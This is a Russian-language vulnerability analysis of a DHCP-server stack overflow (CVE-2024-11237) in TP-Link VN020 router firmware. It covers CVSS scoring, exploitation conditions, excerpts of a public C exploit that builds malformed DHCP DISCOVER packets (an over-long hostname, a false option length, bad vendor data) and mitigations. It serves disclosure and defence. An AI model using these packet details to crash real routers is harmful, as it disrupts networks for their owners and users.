
Уязвимость BDU:2024-10715 (CVE-2024-11237) в TP-Link VN020 F3v(T)
Уязвимость BDU:2024-10715 (CVE-2024-11237) связана с стековым переполнением буфера в DHCP-сервере прошивки роутеров TP-Link VN020 F3v(T) версии TT_V6.2.1021.
Анализ уязвимости
Уровень опасности: 7.5 (Высокий)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
-
AV:N (Сетевой вектор)
-
AC:L (Низкая сложность эксплуатации)
-
PR:N (Привилегии не требуются)
-
UI:N (Взаимодействие с пользователем отсутствует)
-
S:U (Влияние на другие системы отсутствует)
-
C:N (Конфиденциальность не нарушена)
-
I:N (Целостность не нарушена)
-
A:H (Высокое влияние на доступность)
Интерпретация: Уязвимость позволяет удаленно нарушить доступность системы без необходимости привилегий, сложных условий или взаимодействия с пользователем.
Атака возможна через отправку специально сформированного DHCP DISCOVER-пакета с аномальными параметрами:
-
Переполнение hostname – передача строки длиной 127 байт вместо допустимых 64.
-
Поддельные длины опций – несоответствие заявленной длины и реальных данных.
-
Обработка vendor-specific опций – некорректный парсинг полей производителя.
Условия эксплуатации
-
Атакующий должен находиться в локальной сети роутера (DHCP-пакеты не маршрутизируются через интернет).
-
Доступ к веб-интерфейсу роутера не требуется – атака выполняется через UDP-порт 67.
-
Уязвимы только устройства с прошивкой TT_V6.2.1021 (аппаратная версия 1.0).
Анализ эксплойта
Эксплойт из общего доступа для уязвимости BDU:2024-10715 (CVE-2024-11237) написан на C и использует WinAPI для отправки UDP-пакетов. Рассмотрим ключевые фрагменты:
1. Формирование DHCP DISCOVER-пакета
void create_dhcp_discover_packet(unsigned char* packet, int* packet_length) { // ... // Установка Transaction ID (случайное значение для обхода фильтров) unsigned int xid = (unsigned int)rand(); *((unsigned int*)&packet[offset]) = htonl(xid); offset += 4; // MAC-адрес источника (DE:AD:BE:EF:00:01) packet[offset++] = 0xDE; packet[offset++] = 0xAD; packet[offset++] = 0xBE; // ... }
Здесь создается базовый DHCP-запрос с поддельным MAC-адресом. Это позволяет обойти возможные фильтры на основе реальных клиентских адресов.
2. Добавление уязвимых опций
Функция tp_link()
формирует вредоносные DHCP-опции:
void tp_link(unsigned char* packet, int* offset) { // Vendor-specific опция с некорректными данными unsigned char vendor_specific[] = {0x00, 0x14, 0x22, 0xFF, 0xFF, 0xFF}; add_option(packet, offset, 0x2B, sizeof(vendor_specific), vendor_specific); // Hostname длиной 127 байт (превышение буфера) unsigned char long_hostname[128]; memset(long_hostname, 'A', sizeof(long_hostname)-1); add_option(packet, offset, 0x0C, 127, long_hostname); // Опция 0x3D с ложной длиной 0xFF add_option(packet, offset, 0x3D, 0xFF, (unsigned char[]){0x01}); }
-
0x2B (Vendor Specific) – содержит данные, нарушающие логику парсинга.
-
0x0C (Hostname) – вызывает переполнение стека при копировании.
-
0x3D (Client Identifier) – заявленная длина 255 байт (0xFF) при реальных 1 байте, что приводит к чтению мусорных данных.
3. Механизм переполнения
При обработке hostname происходит копирование 127 байт в буфер размером 64 байта:
; Пример дизассемблированного кода роутера mov ecx, 127 ; Длина из пакета lea edi, [ebp-64] ; Буфер 64 байта rep movsb ; Переполнение стека!
Это перезаписывает соседние структуры стека, включая адрес возврата, что приводит к краху процесса.
Способы защиты
-
Обновление прошивки – установка патча от TP-Link.
-
Отключение DHCP – использование статических IP.
-
Сетевые фильтры – блокировка DHCP-пакетов от непроверенных устройств.
-
DHCP Snooping – настройка на коммутаторах для валидации DHCP-трафика.
